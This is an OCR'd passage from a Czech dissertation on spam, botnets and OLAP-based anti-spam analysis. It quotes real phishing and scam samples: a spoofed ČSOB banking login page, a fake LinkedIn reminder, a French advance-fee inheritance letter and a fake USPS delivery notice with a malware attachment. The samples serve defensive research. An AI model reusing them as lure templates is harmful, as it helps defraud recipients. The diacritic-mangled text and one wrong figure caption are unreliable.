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Uvod

Elektronickd komunikace prostfednictvim elektronické poSty predstavuje dilezity
nastroj pro vyménu informaci (Vasilenko Alexandr, 2013). Ptes stale silici socialni
sit¢ zlistava email hlavnim prostiedkem pro komunikaci. Tohoto zneuZzivaji spammefi,

ktefi zaplavuji emailové schranky vysokymi pocty zprav s nevyzadanym obsahem.

Podle pracovni skupiny Mail Anti—abuse je zhruba 80 % vSech emailt posilanych
prostfednictvim internetu spam. Toto Cislo dlouhodobé osciluje mezi 75% — 90%
(Encyclopadia Britannica, 2014). Fluktuace je ovlivnéna rozsahem c¢innosti
spammert a také zasahy proti nim. Vyfazeni rozsdhlého botnetu z Cinnosti muze

zpusobit propad v fadu jednotek az desitek procentnich bodu.

Spam neni doménou pouze pro emailové zpravy, ale je také problémem diskuznich
for, komentaiti na webovych strankich a mobilni komunikace. V Ciné a Indii
predstavuje spam mezi 20% — 30% vSech odeslanych SMS zprav (Delany Sarah Jane,
2012), zatimco v USA je to pouze 0,1% (Delany Sarah Jane, 2012).

Vv

spamu si hledaji nové cesty, jak obejit ndstroje pouzivané k detekci nevyzadanych
zprav. Dal$im omezujicim faktorem je mnozstvi zprav, které se stale zvysuje. Detekce
tak vyzaduje stale vice vypocetniho vykonu, nebot’ mnozstvi zpracovavanych zprav se
zvySuje a prizpusobivost spammerii vyZaduje nové pristupy k analyze. V ptipadé
vyraznych komunikac¢nich $pic¢ek (vanoce, Novy rok) je pak obtizné zajistit spravné
fungovani emailovych sluzeb i bez naro¢nych antispamovych testi (Seznam.cz, 2014).
Vice se tedy do popiedi tla¢i pozadavek na jednoduchost testli a jejich nizkou
naro¢nost. Zaroven je nutné provadét analyzy stavajicich pravidel pro antispamové

nastroje a hledat nova nastaveni dle aktualni situace.

Jednoticim prvkem spamu je obsah sdéleni. Spammefi vyuzivaji vSech dostupnych
kanal k Sifeni vybrané zpravy mezi ostatni uzivatele. Z hlediska technologického lze
samoziejme¢ odlisit spam Sifeny pomoci emailu od spamu na webovém foru ¢i

poslaného prosttednictvim SMS zpravy.



U kazdého typu je mozné analyzovat jina metadata — tedy informace vztahujici se k

puvodu zpravy (Vasilenko Alexandr, 2013):

e Kkompletni hlavicka emailu,
e zaznam o odeslani textu na webové forum,

e telefonni Cislo odesilatele SMS zpravy.

Vsechna data, kterd krom¢ textu mame, pomahaji urcit jeho odesilatele a pfijmout
pfipadna opatieni proti jeho ¢innosti. Nemén¢ dilezity je vSak i obsah sdéleni. To
umoziuje vysledovat rozesilatele nezavisle na zvoleném kandlu a skladat tak profil
téchto spamovych kampani. Lze tak ziskat rozsahlejsi zdroje pro obsahovou analyzu.
Kli¢ovou slozkou analyz obsahu je tvorba hodnoticich kritérii pro jednotliva slova,
nebo slovni spojeni, dale pak ptidélovani skore dle metadat (data obsazena v hlavicce
emailové zpravy, informace o odeslani pfispévku na forum, ...). To umozni
spamovému filtru ptidelit zpraveé skore — tedy pravdépodobnost toho, ze obsah zpravy
je spam. Toto hodnoceni je pak doplnovano dal§imi parametry v zavislosti na

ziskanych metadatech.

Tato hodnoceni jsou pouZzivana pro jejich snadnost vypoctu a rychlost zpracovani.
Nicméné neptedstavuji jedinou cestu. Primérnim cilem spammera je splnéni vybrané

akce a maximalizace konverzi (Chris Kanich, 2008):

Kkp = fe
Ps

kde KP je konverzni pomér, Po je pocet odeslanych zprav a Ps splnénych akei.

Splnéni akce je klicové pro vydélek spammera. Dle studie University of Berkeley
citované na serveru Techradar byla provedena studie s kampani na prodej
farmaceutickych piipravkd. Konverze probéhla v poméru 1:12500000 — tedy na 12,5
milionu odeslanych zprav pouze jeden pokus nakup propagovaného zbozi. Konverzni
pomér 0,00000008 na prvni pohled vypada jako ekonomické fiasko. Realita je vSak
jin4, jde o velmi dobry pomér vydanych prostfedkl k pfijmim. V redlném botnetu lze
dojit k vydélku v tadech tisici dolart denn¢ (Chris Kanich, 2008), (Spammer-X,
2004). Zdroj z roku 2004 je sice starsi, ale je to jedine¢ny pohled dovnitt uzaviené

skupiny spammerské komunity. Z tohoto diitvodu je povazovan za relevantni.
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Uspé&snost spamové kampané tak lze znasobit prostym poétem odeslanych zprav. Pro
zadavatele t€chto kampani je tak nutné disponovat prostiedky pro rozeslani zprav, coz
vyzaduje naro¢né budovani botnetu ¢i jeho prondjem. Pocitaci umisténych kdekoliv
na svété v domacnostech a firmach, které jsou pomoci malware piistupné k prikaziim
z vn¢jsiho prostiedi a které odvadéji praci zdarma — pfipojeni i energie hradi jejich
vlastnici, kteti netusi, Ze pravé z jejich pocitace odchdzi velké mnozstvi emailovych

Zprav.

Moznost, jak zastavit spam, je na prvni pohled k dispozici. Slabym ¢lankem je kontakt
mezi piijemcem zpravy a akci pozadovanou spammerem. Problematickd je vSak
realizace téchto opatieni. Legislativa je v téchto vécech neprakticka a pomala. Brzdi ji

zejména:

e geografické hranice — rozdilné zakony a jejich vymahatelnost,
e Spoluprace mezi staty,

e zdlouhavé soudni jednéni,

e nejisté vysledky,

e technologické bariéry na stran¢ zdkonnych slozek.

Alternativou jsou opatfeni na strané piijemct - emailovych servert, které jsou
prostfednikem mezi internetem a uzivatelskou schrankou. Tam je nutné aplikovat

filtraci, ktera musi spliiovat protichidné pozadavky (Seznam.cz, 2014):

e maximalni pfesnost,

e minimalni spotfebu zdrojl pfi maximalni rychlosti.

Vytvoftit antispamovy systém, ktery zvladne pracovat s presnosti limitné se blizici
100%, neni nepiekonatelny problém. Ale takovy systém zvladne pouze omezené
mnozstvi zprav za jednotku ¢asu (Seznam.cz, 2014). Pro uspé$nou praci pouzivanych
antispamovych nastrojl je nutné vytvofit a udrzovat vhodnou bézi kritérii. Tato jsou
pak vyuZita jako nastroj pro konfiguraci antispamovych nastrojii. Jako ptiklad u
velkého poskytovatele emailovych sluzeb je jako jeden z hlavnich nastroji vyuzivan
podobnostni hash (Seznam.cz, 2014). Pro offline analyzu zprav pak vyuzivaji grafické
nastroje z oblasti business intelligence — software Hadoop — Elasticsearch — Kibana
(Sedlak, 2014). Dle (Shmueli, a dalsi, 2010) je ¢innost antispamovych nastroju

nejznameéj$im pouzitim data miningu v praxi.
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Nastroje business intelligence (dale BI) jsou pro nasazeni v oblasti antispamovych
nastrojii vhodné. BI se zabyva analyzou velkého objemu dat a poskytuje piehled a
souhrnné charakteristiky pro podporu rozhodovéni. Nastroje Bl 1ze vyuzit pii offline
analyze — tedy periodickému zkoumani dat a metadat. Na zakladé¢ této analyzy je pak
mozné evaluovat stavajici pravidla antispamového nastroje a v ptipad€ nevyhovujiciho
zjisténi tato pravidla modifikovat. Tato ¢innost je vyhodna zejména tam, kde hledame
pravidelné¢ vzory v dlouhodobém sledovani. To predstavuje jeden z obrannych
mechanismu v piipadé detekce spamu a atokt vedenych prostiednictvim pocitatovych
siti obecné. V kratkodobém horizontu Ize vyuzit néstroje pro detekci znamych utoka
¢i charakteristik spamovych zprav. V ptipad¢ dlouhodobéjsich dat se ucinnost téchto

analytickych nastrojl snizuje (Syed, a dalsi, 2013).

Z hlediska ¢innosti Ize povaZovat antispamové nastroje za systémy podobné nastrojiim
pro podporu rozhodovani — Decission support system. Podstatou téchto systémi je
poskytovat doporuceni pro rozhodovani na zdkladé analyzy velkého mnozstvi dat.
Stejné tak tyto systémy je moZné pouzit na online rozhodovani — naptiklad jako systém

pro automatické zastaveni vlakl v ptipad€ nebezpeci (Safiudo, a dalsi, 2014).
Oblast zkoumani

Predmétem zkoumani disertacni prace je navrh metodiky nasazeni OLAP jako
prostfedku pro analyzu nevyzadanych zprav. Metodika bude oznacovana zkratkou

ASOLAP (antispam OLAP).

Préace je urCena spravcim emailovych serverli, kteti hledaji moznost jak objektivné
definovat a evaluovat sestavu antispamovych metod a jejich spravné nastaveni a
kooperaci. Do zkoumané oblasti pak spadaji také nastroje a metody zajist'ujici chod
emailového serveru (protokol SMTP — RFC5321), stejné jako hardwarova specifika

(vypocetni sila, souborové systémy a samotny hardware).

Oblast vyzkumu je stale aktudlni, mnozstvi spamu je v procentnim vyjadieni stale
velké a jeho eliminace stoji velké naklady na stran€ firem provozujicich emailové
sluzby. V ptipadé malych firem s vlastni infrastrukturou je to pak také otdzkou profesni
zdatnosti dostupné pracovni sily. ASOLAP zde predstavuje intuitivni nastroj pro

zvySovani efektivity antispamovych nastrojt.
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Motivace

Problematika nevyzadanych zprav je aktudlni ve vSech odvétvich elektronické
komunikace. Netyka se pouze emailové komunikace, ale také internetovych for,
diskuznich piispévki, prispévkl na socidlnich sitich a dalSich. Analyzovat nevyzadané

zpravy je proto zakladnim prvkem prevence zahlceni uzivatelskych schranek.

Antispamova problematika je souborem procest, softwarovych prostiedki a metod. Je
nutné vsechny tyto slozky sladit do jednoho hladce fungujiciho celku. Administratoii
emailovych serverti se snazi mit své servery optimalné konfigurované. Problémem je,
Ze spammefi se snazi tyto obranné a filtracni mechanismy obchézet. Jejich ¢innost je
velmi sofistikovana a tento souboj prozatim nema jednoznacného vitéze. Po vylepseni
technik jednou ¢i druhou stranou dochazi po urcitém case k vyrovnani vyhod a

nevyhod.

Z téchto divodu je nezbytné mit nastroj, kterym Ize analyzovat nevyzadané zpravy do
hloubky s mozZnosti dynamickych pohledi na data. Timto nastrojem je Online

Analytical Processing (dale OLAP), ktery je k tomu ucelu velmi vhodny.
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1 Prehled soucasného védeckého poznani

Cilem ptehledu soucasného védeckého poznani je kriticka analyza aktualniho poznani
V oblasti antispamovych ndastroji a hledani moznosti vyuziti OLAP v této
problematice. Individuadlni preference uzivateld emailovych systémt jsou pro
soucasné nastroje problém, filtrace a hodnoceni je tak zajiSténo serverovou Casti. Ta
pak rozhoduje, co je legitimni zprava a co nevyzadana. V piipad€ nevhodné zvolenych

pravidel tato filtrace selhava.
Ptehled soucasného stavu poznéni je zaméten na:

e Vymezeni klicovych identifikacnich slozek emailovych zprav.
e Vymezeni souCasnych pfistupl k analyze obsahové ¢asti emailovych zprav.
e Analyzu dostupnych klasifikatord emailovych zprav.

e Piipravu podkladi pro stanoveni cili diserta¢ni prace.

Cilem nevyzadané zpravy je dostat se K potencionalnim zakaznikim (v piipadé
nabizeni komercéniho produktu) nebo k potencionalnim obétem (v pfipade Sifeni
malware, scareware, scamu, phishingu). Tomu je podfizeno vse. Spammer realizuje
vSe se snahou o minimalizaci naroka na zdroje, komunikaéni infrastruktura spammera
je postavena na botnetech (Spammer-X, 2004). Spam Ize rozd¢lit do dvou nezavislych
casti:

e Obsah

e Komunikac¢ni ¢ast

Obsahova stranka je shodnid pro vSechny komunikac¢ni kandly. Spam lze najit
v emailovych schrankach, diskuznich férech, chatu, instant messagingu, socialnich
sitich a SMS zpravach. Komunikacni ¢ast je pak specifickd pro kazdy zvoleny
distribucni kandl, v ptipad¢ rozesilani spamu prostiednictvim emailu je to zajisténi

odeslani nevyzadané zpravy z urCitého zatizeni.

Spam Ize tedy analyzovat na dvou urovnich — pouze obsahova c¢ast sdéleni je
univerzalnim identifikdtorem. Obsahové filtry jde koordinovat napfi¢ pouzivanymi
komunika¢nimi prostfedky. Oproti tomu komunikacni ¢ast je specificka a jeji analyza
je obtizné vyuzitelnd. Pouze v piipad€ spojeni komunika¢nich metadat s konkrétni

obsahovou slozkou zprosttedkuje obraz spammerovych moZznosti.
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1.1 Charakteristika nevyzddanych zprav

Nevyzadana zprava rozeslana uzivatelim elektronické posty pomoci vlastniho nebo
vefejn¢ dostupného emailového serveru prostfednictvim distribucniho seznamu
(emailovych adres), ptipadné piimé zneuziti elektronické konference, internetového
diskuzniho féra, mobilnich aplikaci, kratkych zprav SMS nebo diskusni skupiny k
rozesilani zprav marketingového charakteru. Rozesilani spamu je poruSenim pravidel
slusného chovani na siti (Sklendk, 2002). Tyto zpravy jsou rozeslany velkému
mnozstvi piijemci (tzv. bulk mail) (Herzberg, 2009), bez moznosti odhlaseni odbéru

zprav z daného zdroje.

Spam definujeme jako hromadnou, komer¢ni a nevyzaddanou zpravu. Spam je
identicka (abstrahujeme od odchylek vytvofenych pro zmateni filtracnich nastroji)
zprava zasland velkému mnozstvi pfijemct. Cilem zde je ptesvédCit piijemce
k provedeni vybrané akce (nakup, stahnuti, infikace, ...) (Chiao Benjamin, 2012).
Zpravy maji spoleéné znaky, které lze vysledovat nezavisle na jejich obsahu c¢i

odesilateli (Galen A. Grimes, 2007):

e Piijemce nemé zadnou predchozi komunikaci s odesilatelem.
e Neni zadna souvislost mezi jednotlivymi piijemci.
e Pfijemce nevyjadtil souhlas se zaslanim zpravy (piimy souhlas ¢i piedchozi
jina akce).
Pro moznost rozd¢lit emailové zpravy dle jejich obsahu je mozné na n¢ nahlizet dle
miry obtézovani, které jsou vlastni kazdému individualnimu uzivateli. Dle (Chiao
Benjamin, 2012) Ize zpravy klasifikovat do &ty skupin, které se 1i§i mirou obtéZovani

(abuse):

e Nevyzadana hromadna: Viagra, Pfipravky na hubnuti, dals$i obchodni sdéleni
e Nevyzadana cilena: Personalizovana zprava zaloZena na pfedchozi transakci
e Vyzadana hromadna: Naptiklad komeréni zprava zaslana na zakladé souhlasu
e Vyzadana cilena: Osobni korespondence.
Anglictina oznacuje nevyzadanou poStu jako spam. Ndzev Spam je inspirovan
terminem spam pouzitym v roce 1970 (Monty Python’s Flying Circus) ve skeci, kde
tlupa Vikingli zpiva choral o Spamu. Spam byl jako masova konzerva obsazen

v kazdém nabizeném jidle — obtéZoval a byl vSudyptitomny (Encyclopadia Britannica,
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2014). Pro legitimni zpravy je pouzivan termin ham. Zde opét v navaznosti na vyse
zminény termin spam. Ham jako kvalitni potravina je v opozici pro nekvalitni a

vSudypiitomny spam.

Spam neni orientovan pouze na emailové schranky, je Sifen mimo jiné prostfednictvim
formuléii na webovych strankach, internetovych diskuznich férech, jako vzkazy pres
socialni sité. S dalsim komunika¢nim kandlem, ktery je hromadné vyuzivan, dochazi
k pokustim o jeho zneuziti jako spamového kanalu (po popularizaci socialnich siti se
spam snazi rozsifit i sem). Je tedy mozné fici, Ze spam lze najit vSude, kde spolu
komunikuje véEtsi pocet osob. Se spamem se setkame napiiklad na téchto

komunikac¢nich platformach (vlastni vyzkum autora):

e Email — hlavni médium
¢ Instant messaging
e Fora a diskuze

e Socialni sité

e Online hry
e Spamblogy
e Spamwiki
e Youtube

e VolIP

Spam je problémem zejména pro firmy, které jsou na elektronické komunikaci zavislé
a musi vyvijet snahu o potlaceni aktivit spammert. Kazdy antispamovy nastroj ma sva
negativa. Je nutné jej implementovat do stavajici komunikaéni struktury a zajistit jeho
Korektni fungovani. Nékterymi nastroji se snizuje uzivatelsky komfort, zejména témi,
které vyzaduji interakci a jsou koncipovany jako obtizné strojové Citelné (Captcha,
).
Ohrozené jsou firmy v menSich sidlech (venkovsky sektor), kde je internetova
komunikace zakladnim nastrojem firmy pro kontakt s klienty (Vasilenko Alexandr,
2013). V zeméd¢lstvi je trendem nakup bio potravin pfimo od farmaie. Moznost je
osobné prosttednictvim farmatskych trhli nebo pfimo na misté u konkrétniho farmarte.
Pied navstévou je nutné se domluvit na terminu a sortimentu. Snadnou formu
komunikace pfedstavuje pravé email. V piipad€ Spatnych opatieni a zahlceni firmy

muze dojit ke ztizeni jeji Cinnosti, coZ pro mimoméstské regiony mize mit vazné
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nasledky (Vanék, 2008), firma zejména pfi false positive chybach, kdy je legitimni
zprava zafazena mezi spam, muze piijit o zakazky a zklamat tak klienty (Vasilenko

Alexandr, 2013).
1.1.1 Negativni efekty nevyzadanych zprav

Rizika souvisejici s nevyzadanou postou jsou obdobna jako v ptipadé jiné nelegitimni
¢innosti v elektronickém prostfedi. Nasledujici klasifikaci negativnich dopadi Ize

povazovat za platnou (Guan, 2014), (vlastni vyzkum autora).

e Ztrata financnich prostiedkt
o Platby za software ¢i sluzbu chranici pted spamem
o Vydaje firmam fesicich spam
o Naruseni bezpecnosti elektronického bankovnictvi
o Ztrata finan¢nich prostiedkl podvodnym jednanim tieti strany
o Zaloby a dali pravni kroky proti odesilateldm spamu
o Ztréta piijml naruSenim ¢innosti organizace
e Dezinformace
o Podsunuti falesnych informaci
o Pfinuceni k akei popla$nou zpravou — scareware
e NaruSeni soukromi
o Ztrata diveérnych informaci
o Ztrata dat
e Fyzicka ujma
e Ztrata Casu
o Instalace a administrace antispamovych nastroju
o Napravovani skod
o Vymahani ndhrady Skody (vysoce neucinné)
e Zneuziti zafizeni
o Botnet

e Ztrata duvéry v technologie

Nevyzadand poSta zaméfend na distribuci vybraného produktu odkazuje na
internetovou prezentaci, kde lze dany produkt nakoupit. Tato ¢innost je oznacovana

terminem spamvertized, tedy propagace prostfednictvim spamu (Erika Kraemer-
Mbula, 2013).
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Hrozbou pro uzivatele je zvlastni odnoz spamovych zprav, zaméfend na ziskéani
identifika¢nich hodnot (uzivatelského jména a hesla) pro vybranou sluzbu ¢i stranku.
Nejcastéji informace o platebnich kartach ¢i pfistup do online bankingu. Takzvany
phishing ptedstavuje pokus o podvodné ziskani osobnich informaci prostiednictvim
predstirani cizi identity. Utok je zalozen na napodobeni oficidlnich webovych stranek,
emailli ¢i jiného online komunikac¢niho prostfedku. Jakékoliv informace zadané
prostiednictvim této ptedstirané komunikace jsou nasledné vyuZzity rozesilatelem.

(USLegal.com, 2011), (MDMap: Assisting Users in Identifying Phishing Emails,

2012)

CSOB InternetBanking 24

Prihlaseni

cipovou kartou

pred pfihldgenim vlozte kartu do
Eteéky Eipovych karet

prihlasit

Zména certifikatu pro pfihldseni

Identifikacnim cislem a PIN

identifikazni &slo || | AN

TIPY

Pfiruéky a navody naleznete zde
Zasady pro bezpeiné usivéni CSOB
Elektronického bankovnictvi
naleznete zde

Pokud si nevite rady s pfihlaZenim
do nového Internetoveého

bankovnictvi CSOB, zde mate
pomocnou ruku

Pristup ke sluzbé si miZete zfidit ve své poboéce CSOB, kterd vede vage Giéty. Vice informaci na www.csob.cz.
Neprovedete-li po dobu 20 minut Zadnou operaci, aplikace vam bude automaticky odhldsena.

Aktuality

Uprava bezpeénostnich komponent Eipovych karet

Vazeni klienti,

o vikendu jsme upravili bezpegnostni komponenty
&ipovych karet.

Budete-li mit jakykoliv problém s pFihlagenim &ipovou
kartou, nevahejte volat nasg Helpdesk elektronického
bankovnictvi na &islo 495 800 111, kde vam nasi
specialisté pomohou.

DilezZité upozornéni k opakovany kusdm o

deni internetového bank ictvi

Prettéte si dllezité upozornéni k opakovanym pokusim o
napadeni internetového bankovnictvi.

2x vétsi odména s CSOB Kreditni kartou World

Pofid'te si CSOB Kreditni kartu World a ziskejte 2 %
zpét z kazdého nakupu. Odména 2 % se vztahuje na
zal&tované platby u obchodnikl od 1. 5. do 31. 8. 2014.
Ziskat tak mizete a2 1000 K& mésiéné.

Vice informaci o specidlni akéni nabidce a dalsich

vyhodach naleznete na www.csob.cz/vvhodvkaret.

test systému

Bezpeénostni doporuéeni

DodrZuijte Zasady bezpecného uZivani
elektronického bankovnictvi

Mezi nejdllezitéjsi patfi:

pravidelné aktualizujte operaéni systém a
internetovy prohlize€ (postup pro MS
Windows),

pouzivejte a pravidelné aktualizujte antivirovy
program a firewall,

pro vstup do sluzby pouZivejte SMS kli€ nebo
&ipovou kartu.

Provozni informace

Postup pro Fedeni problémd vzniklych po vydani
nové verze Java

V pfipadé vyskytu problému pfi pFihlasovani &ipovou
kartou v souvislosti s vydanim nové verze Java postupujte
dle pFilozeného navodu.

Zde si miZete ovéFit stav fungovani jednotlivych
sluzeb CSOB Elektronického bankovnictvi.

Microsoft ukoncil pod u Wind. XP

Spole&nost Microsoft ukonéila 8. dubna podporu svého
operaéniho systému Windows XP a jakékoli nové
objevené bezpeénostni chyby jiz nebude opravovat. Vice
informaci...

Obriazek 1 — PodvrZena internetova prezentace CSOB (vlastni vyzkum autora)
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Subject Contact LinkedIn Mail
From LinkedIn Reminder &
To alexandr@vasilenko.cz 4
Date 2012-09-21 06:06

Linkedln
REMINDERS

Invitation reminders:

From Deana Fowler (Insurance Manager at Wolseley

PENDING MESSAGES

There are a total of 6 message(-s) awaiting your response. Go to InBox now.

ilenko.cz. This is an occasional email to help you get the most out of Linked

Obrazek 2 — Phishing na sluzbu LinkedIn (vlastni vyzkum autora)

Frekventovanou hrozbou Sifenou pomoci nevyzadané posty je scam (Edelson, 2003).
Tento druh nevyzadané zpravy nabizejici sluzbu, podil na penézni cCastce (dédictvi,
opusténé finance na uctu, ...) za piispévek na nakladech (advokat, soudni fizeni, ...).
Jedna se tedy o snahu ziskat drobny obnos a nasledn¢ ukoncit komunikaci (Guan,

2014). Ukazka scamové zpravy (vlastni vyzkum autora):

Bonjour,

Je me prénomme BLANQUART CATHERINE, Ex—Adjointe au
Service des affaires financicres de la Société Italo—tunisienne
d'Exploitation pétroliere (SAF/SITEP) d'origine Francaise, née le
14 Mai 1954, mere de deux enfants. Du moment ou je travaille a
SITEP (Société Italo—tunisienne d'Exploitation Pétroliere), j'ai
réussi certaines transactions par l'aide du Feu, CARDINAL
BERNARDIN GANTIN de la République du BENIN qui gagnait
sa part sur chaque virement sur mon compte domicili¢ a la Bank Of
Africa Du BENIN (BOA). Durant toute ma carriére & la SITEP,
mon dépot déclaré a la Bank Of Africa Du BENIN (BOA)est d'une
valeur de 2 150 000 $. Aujourd'hui, je suis sous—observation
médicale pour le mal dont je souffre depuis plus de deux (02) ans et
selon les investigations médicales par mon Docteur, Paul ROCK
NATTAN mes jours sont comptés, j'ai peur de mourir sans puis
Légué ma fortune pour sa bonne gestion. Le feu Philippe LEROY,
Prétre diocésain, décédé le 28 février 2013, dans sa 74 éme année,
m'a rendue visite le 13 juin 2012. C'est apreés mes confessions que,
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Feu Philippe LEROY m'a conseillé de faire Dons de Charité de
cette fortune disponible a la(BOA).

Je tiens vivement a respecter les recommandations du feu Philippe
LERQY, c'est pour cette raison que je vous €cris ce message pour
solliciter votre modeste personne a devenir mon future 1égataire
(Bénéficiaire). Mon souci le plus ardent est d'aider des personnes
en situation critique. Répondez—moi si vous étes d'accord pour
m'accompagner. Alors je vous demande de m'aider pour ce projet
de donation et surtout pour les démunies. Dans I'attente de vos
nouvelles, recevez mes trés cordiales salutations.

NB: je tiens a vous dire que je suis préte a couvrir toutes les frais
qui vous sera demandé pour entré en possessionde cette donation si
et seulement si tu réside en France , gouadeloupe , réunion.

BLANQUART CATHERINE

Zde je zadana pomoc s vyvedenim majetku z divodu tézkého onemocnéni a prevedeni
penéz na dobrocinné ucely za uplatu. Tyto zpravy vyzaduji zaplaceni poplatkli mistnim
pravnikiim. Nasleduje slib poslani penéz. K tomu vSak nedojde (vlastni vyzkum

autora).

Béznym doplitkkem je také Sifeni malware, neboli Skodlivého software. Nevyzadana
zprava §ifi Skodlivy kod, ktery je ptistupny jako pfiloha zpravy nebo ke stazeni na
odkazu. Snahou je instalace backdoor software pro vzdalené ovladani pocitace, tedy
zapojeni do botnetu (Spring, 2014). Tento druh nevyzadané posty je velmi nebezpeény
pravé z divodu infiltrace pocitacli tietimi osobami. BéZné spam spotiebovava ¢ast
uzivatele, malware jej mtize ohrozit vice, véetné¢ kompletni ztraty dat (vlastni vyzkum

autora).
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sdUSPSCOM

DEAR CUSTOMER, DELIVERY CONFIRMATION: FAILED

We were not able to delivery the postal package. The address of
the USPS® department holding your shipment can be found on
the USPS® invoice copy attached. At the machine, simply hold the
barcode on the card in front of the scanner built into the USPS®
department. The machine will then guide you through the
necessary steps.

Please print out the USPS® invoice copy attached and
collect the package at USPS® department.

Customer Care Center:
Call: 1-800-ASK-USPS® (1-800-275-8777)
TDD/TTY Relay: Call 1-800-877-8339. Ask for 1-800-275-8777
Hours of Operation:
Monday - Friday 8 AM - 8:30 PM ET

Saturday 8 AM - 6 PM ET

*** This is an automatically generated email, please do not reply ***

Copyright © 2016 USPS. All Rights Reserved.

Obrazek 3 — Phishing na sluzbu LinkedIn (vlastni vyzkum autora)

Ukézka zpravy — snaha o vyvolani dojmu, Ze se jedné o zpozdénou zasilku. V ptiloze
se jménem USPS_delivery_invoice.zip se nachazi malware — viz. piiloha (vlastni

vyzkum autora).

1.1.2 Sifeni spamu

Prioritou spammera je maximalizace mnozstvi zprav odeslanych za ¢asovou jednotku
(Spammer-X, 2004). Zaroven minimalizace nastrojii pro omezeni piijmu
Z konkrétnich zatizeni, ptikladem miize byt blacklist, ktery hodnoti IP adresy
odesilatele dle mnoZzstvi spamu. Nastrojem, ktery ob¢ kritéria splituje je botnet. Ten
lze popsat jako sit’ velkého mnozstvi pocitacl, které nendlezi K jedné geografické

pozici, ale jsou volné rozptyleny v prostiedi internetu. Jejich geografické ohraniceni
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je dano cCasto pouze hranicemi kontinentu. Botnet jsou tvofeny pocitaci béznych
uzivatell, které jsou infiltrovdny malwarem. Tedy Skodlivym pocitaovym kddem,

ktery zptistupni ovladani pocitace vzdalenému utocnikovi (S. Garcia, 2014).
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Obrazek 4 - Supernody botnetu Kelihos (@MalwareTechBlog, 2016)

Toto propojeni neni jednotiroviiové, ale kaskadovité. Do spamovych filtrti (blacklisti)
pak jsou zaneseny pouze koncové uzly ovladané sité. Struktura, které tvofi celou sit,,
je tak skryta za posledni vrstvu. Proto je odhalovani a likvidace botnetd casoveé velmi
naro¢né a vyzaduje sofistikovanou spolupraci (Rule-Based On-the-fly Web Spambot
Detection Using, 2012). Na urovni 0 je poc¢ita¢ spammera a uroven oznacena jako n

jsou koncové stanice botnetu — domaci pocitate béznych uzivateld (David Zhao,

2013).
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Bot master

bots == S = K - = S
A 7\ o [ /\ /\
Workerml” i B W W B B & = =
bots 2 =2 2 8 = ,

Obrazek 5 — Botnet (Chris Kanich, 2008)
V roce 2014 vstupuje mezi botnety novy trend — P2P (peer—to—peer) sit¢ (Kamaldeep

Singh, 2014), (@MalwareTechBlog, 2016). Tyto botnety postradaji centralni fidici
bod a jejich vyfazeni je v podstaté nemozné (Basheer N. Al-Duwairi, 2014). Jejich
hierarchie zprostfedkovana mnoha vrstvami je odolna proti analyzam a snahdm nalézt
dil¢i fidici prvek. Tento problém souvisi s malou osvétou mezi uzivateli a jejich
nachylnosti k chybnym usudkiim — instalace malware ,,omylem™ — tedy souhlas
s jakymkoliv dotazovacim oknem 1 navzdory varovani opera¢niho systému i

antivirového software.

Jak vyznamné dokazi byt jednotlivé sité pti rozesilani spamu? V roce 2008 byl vytazen
botnet McColo a soucasné¢ pokleslo mnozstvi spamu o vice nez 60% v ramci

postizenych poskytovateld internetového ptipojeni (Kirk, 2008).
1.1.3 Spammer

Zéakladem ¢innosti spammera je vydélek. K tomuto ucelu se snazi vyuzit komunikaéni
kanaly, které jsou schopné obsahnout velké mnozstvi uzivatelli s minimalnimi naklady
(Jianying Zhou, 2007), (Allister Cournane, 2004). Typickym komunika¢nim kanalem
pro spam je email - sluzba je dostupna zdarma a lze ziskat velké mnozstvi adres

potencionalnich piijemct spamu.

Nezbytnym predpokladem pro rozesilani spamu je nabidka. Ta obvykle ptichazi
z vnéjsiho prostiedi. Pouze v malo piipadech je zdrojem spamu sam spammer, tato
¢innost je obvykla v pfipadé budovani botnetu. Ten se pak specializuje na poskytovani
sluZeb externim firmam ¢i jednotlivelim. Na internetu lze dohledat nabidky pronajmu
botnetli. Ceny se 1isi v zavislosti na sile botnetu a na tom, zda ¢innost provozuje
software spammera nebo zdkaznika. Zadavatel nevyZzadané poSty zaplati rozeslani

svého sdéleni a zaSle podklady pro tvorbu zpravy. Spammer musi zajistit vytvoreni
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zpravy a vytvoreni webovych stranek tak, aby byly obtizné¢ detekovatelné. Pokud by
poslal pouze jedinou verzi zpravy a odkaz by byl pouze na jeden web, kampan by
ztratila rychle na uc€innosti, nebot’ by byla rychle detekovana a zablokovana pomoci
antispamovych nastrojii. Stejné tak webové stranky by byly rychle zndmé a ISP by
mohl pfistoupit K jejich likvidaci ¢i blokovani (vlastni vyzkum autora). Spam je
zavisly na pfijmech, jeho rozesilani stoji urcité castky a je tak nutné, aby cely systém

byl saturovan z piijmu za prodej sluzeb, zbozi ¢i z vydélki podvodnych aktivit.
Slozky celého systému Ize rozdé¢lit na:

e Zadavatele
e Spammera
e Servery

e Banky

e Urzivatele

Pokud by se povedlo uspésné vyradit jednu z téchto slozek, cely systém prestane
fungovat a spam se pomalu ztrati. Vyzaduje to vSak, aby se vSichni uzivatelé na
internetu chovali zodpovédné. Doslo by k velkému omezeni v poslednim bod¢é — na
spam by nikdo nereagoval a cely systém by se zhroutil — neni pfijem z uZivatelil, nikdo
nebude chtit spam odesilat — stoji ho to prostiedky. Pokud nebudou uzivatelé ani

spammefti, nebudou zadavatelé spamu a problém je vyteSen.

Toto ale evidentné neplati. Spam tedy uzivatelé cht&ji. Alespon malé ¢ast, nebot’ 1 pfi
mizivé ucinnosti spamu je vzhledem k jeho ndkladnosti dostatecné, aby zlomek
adresovanych uzivateld odpovédél. Dle studie uvedené vyse je to 1:12500000 (Chris
Kanich, 2008). Pokud by zajem uzivatel nebyl, spam by zanikl z ekonomickych

duvodu.
1.1.4 Zdroje adres

Aby zvysil moznost, Ze zprava dojde na maximum adres. Spammer nechava generovat
piijemce v hlavicce zpravy nejenom dle mail listd, které ma k dispozici, ale generuje
adresy pro urc¢ité domény, které zjisti. Drtiva vétSina téchto zprav je vSak ztracena. Je
doruc¢ena do doménového koSe pro zpravy s neplatnym piijemcem a je po urcité dobé

smazana.
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Prikladem mize byt d41ad9884@vasilenko.cz — jedna zadres zachycenych
vV doménovém kosi autora. Tento pokus Ize oznacit jako plytvani zdroji —
pravdépodobnost, Ze bude existovat skuteCna adresa stimto vygenerovanym

uzivatelem je statisticky miziva (vlastni vyzkum autora).

Druhym zdrojem jsou seznamy pouzivanych emailovych adres, které l1ze zakoupit na
internetu v riznych podobach. Jedna se o seznamy, kde uzivatelé souhlasi
S poskytnutim osobnich udaji tietim osobam — naptiklad pii soutézich a rtznych
